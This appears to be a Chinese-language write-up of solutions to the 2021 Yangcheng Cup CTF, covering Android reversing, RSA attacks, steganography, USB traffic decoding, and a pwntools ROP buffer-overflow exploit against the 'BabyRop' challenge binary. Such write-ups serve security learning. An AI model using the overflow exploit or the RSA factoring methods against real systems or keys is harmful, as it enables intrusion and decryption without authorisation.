2021羊城杯网络安全大赛

大赛由中共广州市委网络安全和信息化委员会办公室作为指导单位,广州市网络安全产业促进会主办,广东外语外贸大学、深信服科技股份有限公司承办,广州市信息安全测评中心、广州互联网协会协办。

大赛以“网络安全为人民、网络安全靠人民”为主题,旨在通过竞赛的方式提高参赛选手攻防兼备的网络安全实践技能,实现以赛促学、以赛会友,加强不同院校及单位间的技术交流。

Rank: 企事业单位组12


Reverse

Ez_android

Just an easy sign in!

jadx查看MainActivity类。

onClink函数先验证username和password,在资源文件查到username为admin,加密处理后的password值为c232666f1410b3f5010dc51cec341f58,又getEncodeStr函数对password的md5结果每一byte做了减1处理,还原得到c33367701511b4f6020ec61ded352059,查到对应的原值为654321

接下来执行getKeyAndRedirect函数,传入password值654321,进入socket交互(nc 139.224.191.201 20080),输入password,拿到key字符串:

key=TGtUnkaJD0frq61uCQYw3-FxMiRvNOB/EWjgVcpKSzbs8yHZ257X9LldIeh4APom

getKeyAndRedirect函数中最后将key传递到CheckFlagActivity,在CheckFlagActivitycheckFlag函数调用EncodeUtils类实现base64编码,key为码表,encodeFlag为编码结果:

encodeFlag=3lkHi9iZNK87qw0p6U391t92qlC5rwn5iFqyMFDl1t92qUnL6FQjqln76l-P

跑更换码表base64解码算法还原flag:SangFor{212f4548-03d1-11ec-ab68-00155db3a27e}

PWN

BabyRop

system函数和/cin/sh,简单ROP,缺少的/bin/sh\x00可以用sh\x00代替。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = remote('192.168.42.14', 11000)
elf = ELF('./BabyRop')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

sh_addr = 0x0804c029
system_addr = 0x80490a0
pay = 'A' * (0x28 + 4) + p32(system_addr) + p32(0) + p32(sh_addr)
pause()
sl(pay)
p.interactive()

Crypto

RingRingRing

ring a ring a ring ring a ring a ring

nc测试md5-PoW之后,需要输入100组a,b,c,d,e,使得 $a^4+b^4+c^4+d^4=e^2$,且都不能为0。

构造 $1^4+1^4+1^4+1^4=2^2$,再按倍数做乘积 $k^4+k^4+k^4+k^4=(2k^2)^2,k \in [1,100]$,得到100组用例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from parse import *
from pwnlib.util.iters import bruteforce
import string
from hashlib import md5

def brute_force(prefix,s):
return bruteforce(lambda x:md5(x+prefix).hexdigest()[0:5]==s,string.ascii_letters+string.digits,length=4,method='fixed')

r=remote('192.168.42.14',2378)
prefix, s = parse("Please find a string that md5(str + {})[0:5] == {}",r.recvline())
r.sendlineafter('[>] Give me xxxxx: ',brute_force(prefix,s))

r.recvline()
r.recvline()
for i in range(1,101):
r.sendlineafter('[>] a: ',str(i))
r.sendlineafter('[>] b: ',str(i))
r.sendlineafter('[>] c: ',str(i))
r.sendlineafter('[>] d: ',str(i))
r.sendlineafter('[>] e: ',str(2*i*i))
print(r.recvline())
print(r.recvline())
#GWHT{a_funny_equation}

Easy_Rsa

你了解RSA吗???

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from Crypto.Util.number import *
from flag import flag
import gmpy2

def gen_prime(nbits, gamma):
g = getPrime(int(nbits * gamma))
alpha = 0.5 - gamma
while True:
a = getRandomNBitInteger(int(alpha * nbits))
p = 2 * g * a + 1
if isPrime(p):
b = getRandomNBitInteger(int(alpha * nbits))
q = 2 * g * b + 1
h = 2 * g * a * b + a + b
while not isPrime(q) or isPrime(h) or gmpy2.gcd(a, b) != 1:
b = getRandomNBitInteger(int(alpha * nbits))
q = 2 * g * b + 1
return p, q

def encrypt(nbits, gamma):
p, q = gen_prime(nbits, gamma)
n = p * q
e = getPrime(16)
while gmpy2.gcd(e, gmpy2.lcm(p-1,q-1)) != 1:
e = getPrime(16)
m = bytes_to_long(flag)
c = pow(m, e, n)
return n, e, c

n, e, c = encrypt(1024, 0.48)
print 'n =', n
print 'e =', e
print 'c =', c

# n = 84236796025318186855187782611491334781897277899439717384242559751095347166978304126358295609924321812851255222430530001043539925782811895605398187299748256080526691975084042025794113521587064616352833904856626744098904922117855866813505228134381046907659080078950018430266048447119221001098505107823645953039
# e = 58337
# c = 13646200911032594651110040891135783560995665642049282201695300382255436792102048169200570930229947213493204600006876822744757042959653203573780257603577712302687497959686258542388622714078571068849217323703865310256200818493894194213812410547780002879351619924848073893321472704218227047519748394961963394668

共素数攻击(common prime RSA)。

给出 $N=pq,p-1=2ga,q-1=2gb,h=2gab+a+b$,有 $N-1=2gh$,

所以 $x^{N-1} \pmod p$ 至多有 $a$ 个值,用 $x \rightarrow x^{N-1}+3$ 代替 Pollard’s rho算法中迭代函数,能在 $\text{O}(\sqrt{a})=\text{O}(N^{\frac{1}{4}-\frac{\gamma}{2}})$ 下分解 $N$。

common prime RSA在 $g$ 过小时, $g$ 也能轻易通过分解 $N-1$ 来解出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from Crypto.Util.number import *
import gmpy2

def f(x, n):
return (pow(x, n - 1, n) + 3) % n

def rho(n):
i = 1
while True:
a = getRandomRange(2, n)
b = f(a, n)
j = 1
while True:
p = GCD(abs(a - b), n)
print('{} in {} circle'.format(j, i))
if p == n:
break
elif p > 1:
return (p, n // p)
else:
a = f(a, n)
b = f(f(b, n), n)
j += 1
i += 1

n = 84236796025318186855187782611491334781897277899439717384242559751095347166978304126358295609924321812851255222430530001043539925782811895605398187299748256080526691975084042025794113521587064616352833904856626744098904922117855866813505228134381046907659080078950018430266048447119221001098505107823645953039
e = 58337
c = 13646200911032594651110040891135783560995665642049282201695300382255436792102048169200570930229947213493204600006876822744757042959653203573780257603577712302687497959686258542388622714078571068849217323703865310256200818493894194213812410547780002879351619924848073893321472704218227047519748394961963394668

p, q = rho(n)
d = gmpy2.invert(e, (p-1)*(q-1))
m = pow(c, d, n)
print(bytes.fromhex(hex(m)[2:]))
#b'SangFor{0a8c2220-4c1b-32c8-e8c1-adf92ec7678b}'

Bigrsa

BigRSA!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import *
from flag import *

n1 = 103835296409081751860770535514746586815395898427260334325680313648369132661057840680823295512236948953370895568419721331170834557812541468309298819497267746892814583806423027167382825479157951365823085639078738847647634406841331307035593810712914545347201619004253602692127370265833092082543067153606828049061
n2 = 115383198584677147487556014336448310721853841168758012445634182814180314480501828927160071015197089456042472185850893847370481817325868824076245290735749717384769661698895000176441497242371873981353689607711146852891551491168528799814311992471449640014501858763495472267168224015665906627382490565507927272073
e = 65537
m = bytes_to_long(flag)
c = pow(m, e, n1)
c = pow(c, e, n2)

print("c = %d" % c)

# output
# c = 60406168302768860804211220055708551816238816061772464557956985699400782163597251861675967909246187833328847989530950308053492202064477410641014045601986036822451416365957817685047102703301347664879870026582087365822433436251615243854347490600004857861059245403674349457345319269266645006969222744554974358264

尝试发现 $\gcd(n_1,n_2)=p$,分别求出 $q_1=n_1/p,q_2=n_2/p$,再用常规解密方法两步求出 $m$:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import gmpy2
n1 = 103835296409081751860770535514746586815395898427260334325680313648369132661057840680823295512236948953370895568419721331170834557812541468309298819497267746892814583806423027167382825479157951365823085639078738847647634406841331307035593810712914545347201619004253602692127370265833092082543067153606828049061
n2 = 115383198584677147487556014336448310721853841168758012445634182814180314480501828927160071015197089456042472185850893847370481817325868824076245290735749717384769661698895000176441497242371873981353689607711146852891551491168528799814311992471449640014501858763495472267168224015665906627382490565507927272073
e = 65537
c = 60406168302768860804211220055708551816238816061772464557956985699400782163597251861675967909246187833328847989530950308053492202064477410641014045601986036822451416365957817685047102703301347664879870026582087365822433436251615243854347490600004857861059245403674349457345319269266645006969222744554974358264

p = gmpy2.gcd(n1,n2)
q1 = n1 // p
q2 = n2 // p
d1 = gmpy2.invert(e, (p-1)*(q1-1))
d2 = gmpy2.invert(e, (p-1)*(q2-1))
c = pow(c, d2, n2)
m = pow(c, d1, n1)
print(bytes.fromhex(hex(m)[2:]))
#b'SangFor{qSccmm1WrgvIg2Uq_cZhmqNfEGTz2GV8}'

Misc

签到题

简简单单猜数字01-30 SangFor{md5(---…..)}(32位md5)

12张图分别得到关键数字:28-08-30-07-04-20-02-17-23-01-12-19,md5得flag:SangFor{d93b7da38d89c19f481e710ef1b3558b}

Misc520

有一天,zip爱上了pcap,zip为了能与pcap创造更多机会,不断地将自己的能力表现出来。可是,LSBSteg却突然杀了出来,将pcap吞并于png中,不放出来。zip看到了png,多喝热水少做梦。zip异常的愤怒,不断地用自己的能力去报复png,不让png逃走。至今,zip仍未释怀。。。

拿到520.zip压缩包,循环嵌套着520层zip和story文件,脚本解压出所有文件(每次解压将story文件重命名防覆盖):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import zipfile 
import os

now = "520.zip"

while 1:
print("~~"+now)
zfile = zipfile.ZipFile(now)
zfile.extractall(members=zfile.namelist())
zfile.close()
try:
os.remove(now)
except OSError as e:
print(e)
names = os.listdir()
os.rename('story','story'+now.split('.')[0])
print(names)
for name in names:
if name.endswith('.zip') and name != now:
now=name
break
print('~~~~'+now)

解出最里层是一张flag.png图片,按大小排序目录下所有文件,发现story150内容与其他不同:

1
2
3
4
5
6
这都被你发现了?
我这故事不错吧,嘻嘻嘻
那就把flag给你吧
oh,不,还有一半藏在了pcap的心里,快去找找吧
左心房右心房,扑通扑通的心,咿呀咿呀的❤
72, 89, 75, 88, 128, 93, 58, 116, 76, 121, 120, 63, 108,

得到数字 72, 89, 75, 88, 128, 93, 58, 116, 76, 121, 120, 63, 108,

根据提示,zsteg查看png图片存在lsb隐写,按bgr方式提取出一个zip加密压缩包,爆破得密码12345解出flag.pcap。

wireshark查看发现全为USB流量,tshark提取:

tshark -r flag.pcap -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt

将鼠标数据还原鼠标移动轨迹:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
f=open('usbdata.txt','r')
fi=open('out.txt','w')
while 1:
a=f.readline().strip()
if a:
if len(a)==8:
out=''
for i in range(0,len(a),2):
if i+2 != len(a):
out+=a[i]+a[i+1]+":"
else:
out+=a[i]+a[i+1]
fi.write(out)
fi.write('\n')
else:
break
fi.close()
nums = []
keys = open('out.txt','r')
f = open('xy.txt','w')
posx = 0
posy = 0
for line in keys:
if len(line) != 12 :
continue
x = int(line[3:5],16)
y = int(line[6:8],16)
if x > 127 :
x -= 256
if y > 127 :
y -= 256
posx += x
posy += y
btn_flag = int(line[0:2],16) # 1 for left , 2 for right , 0 for nothing
f.write(str(posx))
f.write(' ')
f.write(str(posy))
f.write('\n')

f.close()

最后gnuplot做图:

gnuplot> plot "xy.txt"

得到后半部分数字:130, 63, 111, 94, 51, 134, 119, 146

结合flag格式,推知为变异凯撒移位解密,解出:

[71, 87, 72, 84, 123, 87, 51, 108, 67, 111, 109, 51, 95, 116, 48, 95, 77, 33, 115, 99, 125]

GWHT{W3lCom3_t0_M!sc},按群提示换为Sangfor{W3lCom3_t0_M!sc}